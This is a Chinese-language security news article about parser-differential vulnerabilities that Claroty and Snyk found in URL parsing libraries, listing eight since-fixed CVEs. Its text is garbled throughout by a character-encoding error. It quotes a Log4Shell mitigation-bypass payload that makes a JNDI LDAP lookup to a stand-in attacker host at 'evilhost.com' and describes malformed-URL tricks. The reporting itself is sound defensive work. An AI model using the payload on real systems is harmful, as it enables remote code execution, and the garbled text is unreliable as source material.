安全動(dòng)態(tài)

研究人員在廣泛使用的URL解析器庫(kù)中發(fā)現(xiàn)漏洞

來(lái)源:聚銘網(wǎng)絡(luò)    發(fā)布時(shí)間:2022-01-12    瀏覽次數(shù):
 

信息來(lái)源:安全內(nèi)參


日前,有研究人員對(duì) 16 個(gè)不同的統(tǒng)一資源定位符( URL )解析庫(kù)進(jìn)行調(diào)研后,發(fā)現(xiàn)了不一致和混亂的情形,它們可以被不法分子用來(lái)繞過(guò)驗(yàn)證機(jī)制,為眾多攻擊途徑敞開(kāi)大門(mén)。隨后,兩家網(wǎng)絡(luò)安全公司 Claroty 和 Synk 聯(lián)合開(kāi)展了深入的分析工作,結(jié)果發(fā)現(xiàn),用C 、JavaScript 、 PHP 、 Python 和 Ruby 等語(yǔ)言編寫(xiě)的許多第三方庫(kù)存在 8 個(gè)安全漏洞,多個(gè) Web 應(yīng)用程序使用這些第三方庫(kù)。

發(fā)現(xiàn)的8個(gè)漏洞包括Belledonne’s SIP Stack(C,CVE-2021-33056)、Video.js(JavaScript,CVE-2021-23414)、Nagios XI(PHP,CVE-2021-37352)、Flask-security(Python,CVE-2021-23385)、Flask-security-too(Python,CVE-2021-32618)、Flask-unchained(Python,CVE-2021-23393)、Flask-User(Python,CVE-2021-23401)、Clearance(Ruby,CVE-2021-23435),所有這些漏洞此后已由各自的維護(hù)人員修復(fù)。

研究人員表示:“ URL 解析中的混亂可能導(dǎo)致軟件(比如 Web 應(yīng)用程序)出現(xiàn)異常行為,可能被威脅分子用來(lái)引發(fā)拒絕服務(wù)攻擊、泄露信息,或可能實(shí)施遠(yuǎn)程代碼執(zhí)行攻擊?!庇捎?URL 是一種用來(lái)請(qǐng)求和檢索位于本地或 Web 上資源的基本機(jī)制,解析庫(kù)如何解釋 URL 請(qǐng)求方面的差異可能會(huì)給用戶帶來(lái)重大風(fēng)險(xiǎn)。一個(gè)典型例子是 2021 年 12 月在 Log4j 日志框架中暴露的 Log4Shell 嚴(yán)重漏洞。該漏洞源于攻擊者控制的惡意字符串被評(píng)估、并由易受攻擊的應(yīng)用程序記錄時(shí),導(dǎo)致 JNDI 查詢連接到攻擊者運(yùn)行的服務(wù)器,從而執(zhí)行任意 Java 代碼。雖然 Apache 軟件基金會(huì)( ASF )迅速發(fā)布了補(bǔ)丁以修復(fù)漏洞,但人們很快發(fā)現(xiàn),輸入精心設(shè)計(jì)的內(nèi)容(格式為“ ${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}”),可以繞過(guò)緩解措施,再次允許遠(yuǎn)程 JNDI 查詢執(zhí)行代碼。

研究人員表示:“這種繞過(guò)源于在 JNDI 查詢過(guò)程中使用了兩個(gè)不同的 URL 解析器,一個(gè)解析器用于驗(yàn)證 URL ,另一個(gè)用于獲取 URL ;URL 的 Authority 部分也發(fā)生變化,這取決于每個(gè)解析器如何處理 URL 的 Fragment 部分(#)?!?具體來(lái)說(shuō),如果輸入作為常規(guī)的 HTTP URL 來(lái)處理, Authority 部分(域名和端口號(hào)的組合)一遇到 fragment 標(biāo)識(shí)符就結(jié)束;而作為 LDAP URL 來(lái)處理時(shí),解析器會(huì)分配整個(gè)“127.0.0[.]1#.evilhost.com:1389”作為 Authority ,因?yàn)?LDP URL 規(guī)范不考慮該 fragment 。

的確,使用多個(gè)解析器是這8個(gè)漏洞出現(xiàn)的主要原因之一,還有一個(gè)原因是,庫(kù)遵循不同的 URL 規(guī)范時(shí)存在不一致,從而導(dǎo)致了問(wèn)題,這實(shí)際上帶來(lái)了可利用的漏洞。不一致的情形多種多樣,如 URL 含有反斜杠(“\\”)、不規(guī)則數(shù)量的斜杠(比如https:///www.example[.]com)或 URL 編碼數(shù)據(jù)(“%”), 以及 URL 缺少 URL 方案等,這后一種情形可被用來(lái)實(shí)施遠(yuǎn)程代碼執(zhí)行攻擊,甚至發(fā)動(dòng)拒絕服務(wù)( DoS )和開(kāi)放重定向網(wǎng)絡(luò)釣魚(yú)攻擊。研究人員表示:“許多實(shí)際的攻擊場(chǎng)景可能來(lái)自不同的解析原語(yǔ)。”為了保護(hù)應(yīng)用程序免受 URL 解析漏洞的影響,“有必要充分了解整個(gè)過(guò)程中牽涉哪些解析器,以及解析器之間的差異,了解它們?nèi)绾谓忉尣煌袷健⒂姓`的 URL 以及它們支持哪些類(lèi)型的 URL ?!?

參考鏈接:

https://thehackernews.com/2022/01/researchers-find-bugs-in-over-dozen.html


 
 

上一篇:2022年1月11日聚銘安全速遞

下一篇:KCodes NetUSB內(nèi)核的RCE漏洞影響數(shù)百萬(wàn)臺(tái)路由器